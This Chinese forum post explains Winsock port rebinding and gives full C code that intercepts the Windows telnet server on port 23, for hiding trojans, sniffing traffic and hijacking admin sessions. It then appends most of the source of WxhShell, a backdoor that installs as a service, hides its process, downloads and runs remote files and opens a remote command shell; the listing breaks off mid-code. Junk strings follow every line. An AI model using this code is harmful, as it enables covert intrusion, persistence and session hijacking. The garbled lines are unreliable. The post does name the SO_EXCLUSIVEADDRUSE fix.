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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9iS3.LCfX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); BKvF,f/g  
wJ IJPYTK  
  saddr.sin_family = AF_INET; ~xvQ?c ?-  
fCEd :Kr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _}JygOew  
?{{E/J:%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .iew5.eB+  
zq1&MXR)l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7zQD.+&L  
HJg)c;u/2;  
  这意味着什么?意味着可以进行如下的攻击: g08=D$P  
k"Sw,"e>+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #"7:NR^H^  
Y71b Lg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J anLJe)  
cs@5K$v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BA t2m-  
pF"z)E|^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  by8d18:it  
xYwbbFGrG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )]qFI"B7  
c1:op@t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @ju-cv+  
CqrmdWN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cRU.   
]/d2*#  
  #include A]=?fyPh{'  
  #include |ZRl.C/e  
  #include {v]>sn;P1  
  #include    >O\-\L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ( !Ml2  
  int main() P<2yCovn`  
  { xsAF<:S\  
  WORD wVersionRequested; r-Dcc;+=Q  
  DWORD ret; 5l)p5Bb48c  
  WSADATA wsaData; ih~c(&n0  
  BOOL val; (G$m}ng  
  SOCKADDR_IN saddr; 4r5,kOFWb  
  SOCKADDR_IN scaddr; typ*.j[q  
  int err; %o{vD&7\  
  SOCKET s; < W&~tVv  
  SOCKET sc; 2 ] 4R`[#  
  int caddsize; Po^2+s(fY  
  HANDLE mt; zlFl{t  
  DWORD tid;   Bq:@ [pCQ  
  wVersionRequested = MAKEWORD( 2, 2 ); .!9]I'9M  
  err = WSAStartup( wVersionRequested, &wsaData ); 53(m9YLk  
  if ( err != 0 ) { 0s<o5`v  
  printf("error!WSAStartup failed!\n"); RKBjrSZg8  
  return -1; 7Uj[0Awn  
  } KE5f`h  
  saddr.sin_family = AF_INET; u $sX6  
   sDbALAp +  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _0vXujz  
Hs-NP#I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]L_HnmD6  
  saddr.sin_port = htons(23); K"=v| a.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rbr vY  
  { ,][+:fvS  
  printf("error!socket failed!\n"); b#XS.e/uf  
  return -1; pr;L~$JW  
  } YHKm{A ]  
  val = TRUE; b0KorUr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^k-H$]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c\;} ov+  
  { C %EQ9Iq6r  
  printf("error!setsockopt failed!\n"); ;j/ur\37  
  return -1; n+!.0d}6  
  } Box,N5AA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CZ&TUE|:DA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h+$_:](PC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aMz%H|/$  
w=^*)jZ8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VVe>}  
  { F;~ #\ X  
  ret=GetLastError(); Y<0f1N  
  printf("error!bind failed!\n"); 9r8{9h:  
  return -1; }xdI{E1 q)  
  } - z|idy{  
  listen(s,2); H=yD}!j  
  while(1) G&Cl:CtC  
  { _<3:vyfdC  
  caddsize = sizeof(scaddr); N?pD"re)6  
  //接受连接请求 a)Wf* <B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [e&$4l IS  
  if(sc!=INVALID_SOCKET) slPFDBx  
  { Pq_Il9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;V%lFP3#  
  if(mt==NULL) f}+G;a9Nj  
  { sxsM%Gb?H  
  printf("Thread Creat Failed!\n"); cF/FretoO  
  break; ^|sQkufo  
  } ?29 KvT;#]  
  } (p2\H>pTr  
  CloseHandle(mt); awC&xVf  
  } K=B[MT#V{2  
  closesocket(s); 6,c,i;J_  
  WSACleanup(); v-Br)lLv  
  return 0; ]1Q\wsB  
  }   <R !qOQI  
  DWORD WINAPI ClientThread(LPVOID lpParam) Hh qx)u  
  { m&$H ?yXW>  
  SOCKET ss = (SOCKET)lpParam; Z-vzq;  
  SOCKET sc; ,,G0}N@7s  
  unsigned char buf[4096]; |]`+@K,S  
  SOCKADDR_IN saddr; {fGi:b\[ 8  
  long num; sJ0y3)PQ  
  DWORD val; # =322bnO  
  DWORD ret; zD?$O7 |ZK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \T[*|"RFZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   chiQ+  
  saddr.sin_family = AF_INET; N.isvDk%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YTGup]d  
  saddr.sin_port = htons(23); %3C,jg  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >c1mwZS ;  
  { 6l>G>)  
  printf("error!socket failed!\n"); 4wBCs0NIm  
  return -1; 0` S!+d  
  } =1esUO[nx  
  val = 100; Ri-I+7(n!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o0<T|zgF5,  
  { Y@r#:BH )  
  ret = GetLastError(); o 86}NqK  
  return -1; eFeeloH?e*  
  } `i.f4]r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f|q6<n_nM  
  { }`h}h<B(  
  ret = GetLastError(); gB0)ec 0  
  return -1; :#gz)r  
  } OOv"h\,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *v 8 ]99N  
  { -J[D:P.Z  
  printf("error!socket connect failed!\n"); a.Mp1W  
  closesocket(sc); Cw+ (,1  
  closesocket(ss); 4 bJ3uIP#  
  return -1; I&cb5j]C  
  } (te \!$  
  while(1) %WO;WxG8^  
  { YqDw*S{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F*NIs:3;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dgkt-:S/T|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P,v}Au( UI  
  num = recv(ss,buf,4096,0); 7C 4Njei"  
  if(num>0) Np=*B_ @8  
  send(sc,buf,num,0); U5"F1CaW~  
  else if(num==0) @lmke>  
  break; !W3Le$aL  
  num = recv(sc,buf,4096,0); -bj1y2)n  
  if(num>0) fqr}tvMr=T  
  send(ss,buf,num,0); cw^FOV*  
  else if(num==0)  Et- .[  
  break; HQE#O4  
  } ,Tr12#D:  
  closesocket(ss); $ &^ ,(z9  
  closesocket(sc); ~ h:^Q  
  return 0 ; ^< E,aCy  
  } "~+K`*0r8  
~\oJrRYR`  
SS`\,%aog  
========================================================== ZPMEN,Dw  
cdh1~'q/  
下边附上一个代码,,WXhSHELL \J13rL{<  
Z>D7C?v:(  
========================================================== 4,aBNuxWd  
Onc!5L  
#include "stdafx.h" G!Uq#l>  
SOUA,4  
#include <stdio.h> =-:o?&64  
#include <string.h> l s_i)X  
#include <windows.h> od|pI5St  
#include <winsock2.h> 5fLCmLM`  
#include <winsvc.h> 2N]y)S_<V  
#include <urlmon.h> Ny~;"n  
JZc5U}i  
#pragma comment (lib, "Ws2_32.lib") M.128J+xfS  
#pragma comment (lib, "urlmon.lib") #A))#sT'R  
mj,r@@k:=+  
#define MAX_USER   100 // 最大客户端连接数 d3![b1  
#define BUF_SOCK   200 // sock buffer /qp`xJ  
#define KEY_BUFF   255 // 输入 buffer $rlIJwqn  
X;0EgIqh3  
#define REBOOT     0   // 重启 f{)*"  
#define SHUTDOWN   1   // 关机 ML'R[~|  
x/Ds`\  
#define DEF_PORT   5000 // 监听端口 Q7SS<'(  
bX9}G#+U  
#define REG_LEN     16   // 注册表键长度 KcrF=cA  
#define SVC_LEN     80   // NT服务名长度 o/[NUQSI  
*U]f6Q<X  
// 从dll定义API ' Wi*[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xp39TiXJ*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I%(+tJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yw{](qG7e`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w5[POo' 5  
w?/,LV  
// wxhshell配置信息 Xr~r`bR=  
struct WSCFG { o2.! G  
  int ws_port;         // 监听端口 MdyH/.Te  
  char ws_passstr[REG_LEN]; // 口令 s9'iHe  
  int ws_autoins;       // 安装标记, 1=yes 0=no /|\`NARI  
  char ws_regname[REG_LEN]; // 注册表键名 wj?f r?  
  char ws_svcname[REG_LEN]; // 服务名 oFsMQ Py  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OI-%Ig%C#l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {66vdAu&h<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~k J#IA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jt]+(sx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Te.hXCFD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SZ0Zi\W  
5I<?HsK@  
}; ,fN iZ  
O+e8}Tmm  
// default Wxhshell configuration \ 0CGS  
struct WSCFG wscfg={DEF_PORT, +&t{IP(?  
    "xuhuanlingzhe", ?ph"|LyL  
    1, x7/2e{p uu  
    "Wxhshell", p\,lbrv  
    "Wxhshell", T JVNR_x  
            "WxhShell Service", 9XoKOR(  
    "Wrsky Windows CmdShell Service", :l 7\7IT  
    "Please Input Your Password: ", `  ^6}Dn  
  1, Fq{nc]L6  
  "http://www.wrsky.com/wxhshell.exe", g\^(>Ouc  
  "Wxhshell.exe" xE9s=}  
    }; INkrG.=u  
S=my;M-  
// 消息定义模块 z1L.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <oeHZD_ OR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VVf~ULZ-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g$:2c7uL  
char *msg_ws_ext="\n\rExit."; \q,w)BE  
char *msg_ws_end="\n\rQuit."; %%f=aPw  
char *msg_ws_boot="\n\rReboot..."; %bv<OMD  
char *msg_ws_poff="\n\rShutdown..."; ?hwQY}   
char *msg_ws_down="\n\rSave to "; C f+O7Y`^  
wF&\@H  
char *msg_ws_err="\n\rErr!"; aN7u j  
char *msg_ws_ok="\n\rOK!"; QF^An B  
q=EQDHmh  
char ExeFile[MAX_PATH]; /bw-*  
int nUser = 0; S-L6KA{  
HANDLE handles[MAX_USER]; 't>Qj7vh0  
int OsIsNt; iCc \p2p  
*JDc1$H0  
SERVICE_STATUS       serviceStatus; %+'&$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (_W[~df4  
!<~Ig/  
// 函数声明 -7yX>Hjl  
int Install(void); 36j.is  
int Uninstall(void); '-*r&:  
int DownloadFile(char *sURL, SOCKET wsh); Dg]i};  
int Boot(int flag); KYeA=  
void HideProc(void); A 7sej  
int GetOsVer(void); X~j A*kmAj  
int Wxhshell(SOCKET wsl); 7/~"\nN:/  
void TalkWithClient(void *cs); N* z<VZ  
int CmdShell(SOCKET sock); "=RB #  
int StartFromService(void); p3Gj=G  
int StartWxhshell(LPSTR lpCmdLine); L,:U _\HQ  
*yJb4uALB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gVuN a)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =CJs&Qa2  
|, :(3Ml  
// 数据结构和表定义 Dp'/uCW)  
SERVICE_TABLE_ENTRY DispatchTable[] = 1k hwwoo  
{ _\1(7?0D  
{wscfg.ws_svcname, NTServiceMain}, +6>Pp[%  
{NULL, NULL} 1E-$f  
}; q!7\`>.2:{  
](W #Tj5-  
// 自我安装 Xau.4&\d  
int Install(void) *]EcjK%  
{ A+dY~@*a  
  char svExeFile[MAX_PATH]; )dvOg'it  
  HKEY key; ]-q:Z4rb  
  strcpy(svExeFile,ExeFile); [F>zM  
n%O`K{86  
// 如果是win9x系统,修改注册表设为自启动 ^X?[zc GE  
if(!OsIsNt) { ;Joo!CXHO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .K0BK)axO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z uE 0'9  
  RegCloseKey(key); 2ru6 bIb;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ex Qld  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1DBzD%@Oz  
  RegCloseKey(key); !K@y B)9  
  return 0; ^8\pJg_0  
    } Obd!  
  } $M><K  
} y}3V3uqK  
else { !]`]67lC  
v|e\o~2D`  
// 如果是NT以上系统,安装为系统服务 %?g]{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5-g02g  
if (schSCManager!=0) Z BYmAD  
{ 6v1j*'  
  SC_HANDLE schService = CreateService :Rq D0>1  
  ( ~C[,P\,  
  schSCManager, _,'UP>Si  
  wscfg.ws_svcname, l==T3u r  
  wscfg.ws_svcdisp, IEA[]eik>  
  SERVICE_ALL_ACCESS, h0gT/x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z86[sQBg  
  SERVICE_AUTO_START, n1LS*-@  
  SERVICE_ERROR_NORMAL, %GIla *  
  svExeFile, N Lo>"<Xb  
  NULL, Z,2uN!6  
  NULL, x 1 _(j  
  NULL,  Wi|.Z/  
  NULL, b!N`@m=  
  NULL 6yR7RF}  
  ); JAn3  
  if (schService!=0) 6?`py}:  
  { $51#xe  
  CloseServiceHandle(schService); ^=@%@mR/[C  
  CloseServiceHandle(schSCManager); U9 If%0P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @GEvI2Vf.0  
  strcat(svExeFile,wscfg.ws_svcname); N0XGW_f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XR+2|o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9*x9sfCv9  
  RegCloseKey(key); &Y,Rm78  
  return 0; Z# :Ww  
    } @!Pq"/  
  } &A`QPk8n  
  CloseServiceHandle(schSCManager); UOwj"#  
} Y8N&[L[z&  
} Z<wg`  
n b{8zo  
return 1; yf$7<gwX  
} fL@[B{XMM  
bySw#h_  
// 自我卸载 9:m+mpL=9  
int Uninstall(void) -V+fQGZe  
{ BvYJ!Vj  
  HKEY key; 9K&b1O@Aj  
yb]a p  
if(!OsIsNt) { O[m+5+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Y \#'KrA  
  RegDeleteValue(key,wscfg.ws_regname); l>:?U  
  RegCloseKey(key); e5AiIVlv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +Gjy%JFp  
  RegDeleteValue(key,wscfg.ws_regname); eC3ZK"oJ  
  RegCloseKey(key); }b{N[  
  return 0; 1\3n   
  } 7+z%O3k'I  
} )i?wBxq'MA  
} Tc qqAc   
else { ?iq:Gf  
%@IR7v~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c~Ha68  
if (schSCManager!=0) X-%*`XG'  
{ PeG8_X}u9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AKHi$Bk  
  if (schService!=0) U2h?l `nP  
  { LsmC/+7r$1  
  if(DeleteService(schService)!=0) { YS/DIH{9e  
  CloseServiceHandle(schService); <?I~ +  
  CloseServiceHandle(schSCManager); 1M+mH#?  
  return 0; ^,rbA>/L  
  } m!PN1$9V  
  CloseServiceHandle(schService); 7y60-6r  
  } y)=Xo7j  
  CloseServiceHandle(schSCManager); D,R/abYZH  
} ){,8}(|  
} 0>AA-~=-  
^v`|0z\  
return 1; +`9T?:fu  
} p_}OtS;  
U>{z*D  
// 从指定url下载文件 | 0&~fY  
int DownloadFile(char *sURL, SOCKET wsh) %II |;<  
{ =T+<>/[  
  HRESULT hr; jbG #__#_  
char seps[]= "/"; ~< k'{  
char *token; 8J>s|MZ  
char *file; .<tb*6rX>  
char myURL[MAX_PATH]; 7wZKK0;T  
char myFILE[MAX_PATH]; ~UL; O\-b0  
Q!@" Y/  
strcpy(myURL,sURL); =XqmFr;h  
  token=strtok(myURL,seps); 76hi@7a  
  while(token!=NULL) DSQ2z3s2  
  { "eBpSV>nnQ  
    file=token; Y(-+>>j_  
  token=strtok(NULL,seps); >`t |a  
  } [aIQ/&Y  
f):|Ad|  
GetCurrentDirectory(MAX_PATH,myFILE); O* 7" Q&  
strcat(myFILE, "\\"); -()CgtSR  
strcat(myFILE, file); AJj6@hi2P  
  send(wsh,myFILE,strlen(myFILE),0); z;Kyg}  
send(wsh,"...",3,0); uv Z!3UH.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =WHdy;  
  if(hr==S_OK) V a<L[8  
return 0; `~gyq>Ik2  
else 9V\5`QXu  
return 1; &6!x;RB  
-l^u1z  
} 8?ZK^+]y  
xC{W_a(  
// 系统电源模块 rFGbp8(2  
int Boot(int flag) Qxt ,@<IK  
{ `Up3p24  
  HANDLE hToken; MvQ0"-ZQ  
  TOKEN_PRIVILEGES tkp; tLLP2^_&  
pWeKN`  
  if(OsIsNt) { l].dOso$`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O,hT< s "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VBy=X\w]  
    tkp.PrivilegeCount = 1; V:yia^1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rry 33  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `2}Mz9mk  
if(flag==REBOOT) { C?X^h{T p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lNqYpyvy*  
  return 0; xMU4Av[{  
} =r#of|`Q  
else { pYH#Vh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s_u@8e 6_  
  return 0; ss.wX~I  
} XB^o>/|@S  
  } *ewE{$UpK  
  else { yX/ 9jk  
if(flag==REBOOT) { m{;2!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }5u$/c@f1  
  return 0; e![n$/E3R  
} vDqmD{%4N  
else { TU^UR}=lP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eqg|bc[i!t  
  return 0; &KT*rL  
} REli`"bR  
} yd'>Mw  
5hg:@i',  
return 1; 5v6*.e'p  
} 1d"g $i4e  
&KmV tj  
// win9x进程隐藏模块 }[\l$sS  
void HideProc(void) }e  s  
{ o^}K]ML!t  
:!n_a*.{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1=}+NK!  
  if ( hKernel != NULL ) 9aHV~5  
  { g Q6_]~4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]oUvC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r ".*l?=  
    FreeLibrary(hKernel); z;J"3kM  
  } }CIH1q3P  
A_i=hj 2f  
return; 9rf6,hF  
} 'H0uvvhOp  
k+t?EZ6L  
// 获取操作系统版本 )w4i0Xw^C:  
int GetOsVer(void) ~+ Mp+gE  
{ -XRn%4EX?  
  OSVERSIONINFO winfo; j  Jt"=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Op0n.\>  
  GetVersionEx(&winfo); 49W@?: b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yb\T< *  
  return 1; sIJl9  
  else dG2k4 O  
  return 0; Arc6d5Q  
} aA7}>  
yS'W ss  
// 客户端句柄模块 K&3,J7&&  
int Wxhshell(SOCKET wsl) P%2aOsD0  
{ 8iA[w-Pv  
  SOCKET wsh; }OL?k/w  
  struct sockaddr_in client; UuPXo66F ]  
  DWORD myID; L 7VDZCV  
$KHw=<:)/  
  while(nUser<MAX_USER) 7@oM?r7td  
{ _3~/Z{z8  
  int nSize=sizeof(client); qQ6rF nA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?71?Vd  
  if(wsh==INVALID_SOCKET) return 1; l!qhK'']V"  
@cRR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lY -2e>  
if(handles[nUser]==0) 3dheT}XV?p  
  closesocket(wsh); $lVR6|n  
else W T~UEK'  
  nUser++; 79`OB##  
  } 1 etl:gcEC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +-2o b90_m  
: 8h\x  
  return 0; -Y>,\VEK  
} v]{F.N  
vxE#6  
// 关闭 socket `xv2,Z9<  
void CloseIt(SOCKET wsh)  S1$lNB  
{ KTtB!4by  
closesocket(wsh); 8L1 vt Yz  
nUser--; Ec'Hlsgh&T  
ExitThread(0); nQ*9E|Vx  
} X\4d|VJ?m  
fJ<I|ZZ  
// 客户端请求句柄 Q3"{v0  
void TalkWithClient(void *cs) zbY2gq@?  
{ 7XzhKA6  
p+7G  
  SOCKET wsh=(SOCKET)cs; N> 7sG(!'"  
  char pwd[SVC_LEN]; A#7/,1h\  
  char cmd[KEY_BUFF]; )+7|_7 !x  
char chr[1]; nwS @r  
int i,j; u1 Z;n  
kx{LY`pY  
  while (nUser < MAX_USER) { 9[2qgw\D  
1aAY7Dm_&  
if(wscfg.ws_passstr) { I%(YR"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qTZ\;[CrP"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); amTeT o]Tg  
  //ZeroMemory(pwd,KEY_BUFF); A4uKE"WE  
      i=0; j)nL!":O  
  while(i<SVC_LEN) { 6C'W  
U_Jchi,!  
  // 设置超时 qPQ6`rD\  
  fd_set FdRead; Nwwn #+  
  struct timeval TimeOut; )fy-]Ky *  
  FD_ZERO(&FdRead); r{>`"  
  FD_SET(wsh,&FdRead); `uP:UQ9S  
  TimeOut.tv_sec=8; /Fk]>|*  
  TimeOut.tv_usec=0; O:E0htdWr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZWmS6?L.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jlxY|;gZ-0  
YY zUg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b1TIVK3m  
  pwd=chr[0]; Iip%er%b  
  if(chr[0]==0xd || chr[0]==0xa) { dl]pdg<  
  pwd=0; Y5{KtW  
  break; I=[Ir8} ;  
  } 9| g]M:{  
  i++; 'GI| t  
    } m>{a<N  
-=cxUDB  
  // 如果是非法用户,关闭 socket TUBpRABH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {=%,NwPs  
} aP$it 6Z  
n nOgmI7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K<rv|bJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;A6%YY  
,xw1B-dx  
while(1) { Tbp;xv_qo  
v!`:{)2C  
  ZeroMemory(cmd,KEY_BUFF); &HQ_e$1  
$PstEL  
      // 自动支持客户端 telnet标准   aPdEEqc\l  
  j=0; {j6$'v)0  
  while(j<KEY_BUFF) { 3Ofh#|qc&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bey:Qj??  
  cmd[j]=chr[0]; %*zV&H   
  if(chr[0]==0xa || chr[0]==0xd) { r.q*S4IS.m  
  cmd[j]=0; Qz"+M+~%&  
  break; 3D-0 N0o  
  } w/z o  
  j++; b/{$#[oP`  
    } 8NkyT_\  
dl.gCiI  
  // 下载文件 iE EP~  
  if(strstr(cmd,"http://")) { 6:~<L!`&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Sse%~:FL  
  if(DownloadFile(cmd,wsh)) 7@&mGUALO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^u}~e #(  
  else  J8-K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7W'&v+\  
  } .p =OAh<  
  else { SBy{sbx4&F  
F EUfskv  
    switch(cmd[0]) { AGl#f\_^  
  /X]gm\x7s  
  // 帮助 s~QIs  
  case '?': { /Y=_EOS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0bpGPG's&  
    break; #<~oR5ddlb  
  } * >/w,E]  
  // 安装 Lv?jg ?$  
  case 'i': { Y qmsL<  
    if(Install()) We++DWp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1N_T/I8_F  
    else O{7rIy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7}I';>QH  
    break; 6j8\3H~  
    } e*}*3kw)T  
  // 卸载 Sp6==(:.  
  case 'r': { R4X9g\KpAt  
    if(Uninstall()) /d+v4GIB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}2/:f#Iz*  
    else 2D(sA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >/Gw)K}#E  
    break; 7+8 8o:G9  
    } {Q>4zepN!  
  // 显示 wxhshell 所在路径 /!JxiGn  
  case 'p': { sSf;j,7V  
    char svExeFile[MAX_PATH]; 9OFH6-;6`\  
    strcpy(svExeFile,"\n\r");  &.(iS  
      strcat(svExeFile,ExeFile); LF `]=.Q  
        send(wsh,svExeFile,strlen(svExeFile),0); JMk2OK {0  
    break; 8[.&ca/[  
    } $EHF f$M  
  // 重启 ub!l Hl  
  case 'b': { "n{';Q)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZbiC=uh  
    if(Boot(REBOOT)) q44vI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /0cm7[a?  
    else { <)pPq+  
    closesocket(wsh); ^rs{1S  
    ExitThread(0); OLtXk  
    } e_-7,5Co  
    break; dWi< U4  
    } Ml9m#c  
  // 关机 kL8 E#  
  case 'd': { q{Gh5zg5O  
